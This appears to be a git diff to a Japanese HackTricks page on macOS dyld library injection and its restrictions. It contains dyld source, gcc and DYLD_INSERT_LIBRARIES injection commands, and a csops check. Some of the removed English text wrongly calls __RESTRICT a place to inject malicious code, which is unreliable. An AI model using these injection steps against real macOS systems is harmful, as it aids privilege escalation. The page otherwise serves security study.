|
||||
この関数は、同じファイルの**`_main`**関数からOSXをターゲットにして呼び出されます。
|
||||
```cpp
|
||||
#if TARGET_OS_OSX
|
||||
if ( !gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache ) {
|
||||
|
@ -279,13 +283,9 @@ sudo chmod -s hello
|
|||
```
|
||||
### セクション `__RESTRICT` とセグメント `__restrict`
|
||||
|
||||
The `__RESTRICT` section is a special section in macOS that is used for library injection and privilege escalation techniques. It is located within the `__restrict` segment, which is a protected segment of memory.
|
||||
The `__RESTRICT` section is a special section in macOS that is used for library injection and privilege escalation techniques. It is located within the `__restrict` segment.
|
||||
|
||||
The purpose of the `__RESTRICT` section is to restrict the execution of certain code or functions within a process. By injecting malicious code into this section, an attacker can gain unauthorized access and escalate their privileges within the system.
|
||||
|
||||
It is important to note that manipulating the `__RESTRICT` section requires advanced knowledge of macOS internals and memory manipulation techniques. This technique is commonly used by hackers to bypass security measures and gain control over a compromised system.
|
||||
|
||||
To protect against library injection and privilege escalation attacks, it is recommended to implement strong security measures, such as regular software updates, code signing, and strict access controls. Additionally, monitoring for any suspicious activity or unauthorized modifications to the `__RESTRICT` section can help detect and mitigate potential attacks.
|
||||
セクション `__RESTRICT` は、macOS においてライブラリインジェクションや特権エスカレーションの技術に使用される特別なセクションです。これは `__restrict` セグメント内に位置しています。
|
||||
```bash
|
||||
gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
|
||||
|
@ -317,9 +317,9 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
注意してください、バイナリにはフラグ**`0x0(none)`**で署名されているものがあっても、実行時に**`CS_RESTRICT`**フラグを動的に取得することができるため、このテクニックはそれらでは機能しません。
|
||||
注意してください、バイナリにはフラグ**`0x0(none)`**で署名されているものがあるかもしれませんが、実行時に**`CS_RESTRICT`**フラグが動的に付与される可能性がありますので、このテクニックはそれらのバイナリでは機能しません。
|
||||
|
||||
(procにこのフラグがあるかどうかを確認するには、[**ここでcsopsを取得**](https://github.com/axelexic/CSOps)してください): 
|
||||
(procにこのフラグがあるかどうかを確認するには、[**ここからcsopsを取得してください**](https://github.com/axelexic/CSOps)。)
|
||||
```bash
|
||||
csops -status <pid>
|
||||
```
|
||||
|
@ -332,8 +332,8 @@ csops -status <pid>
|
|||
|
||||
* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Add table
Reference in a new issue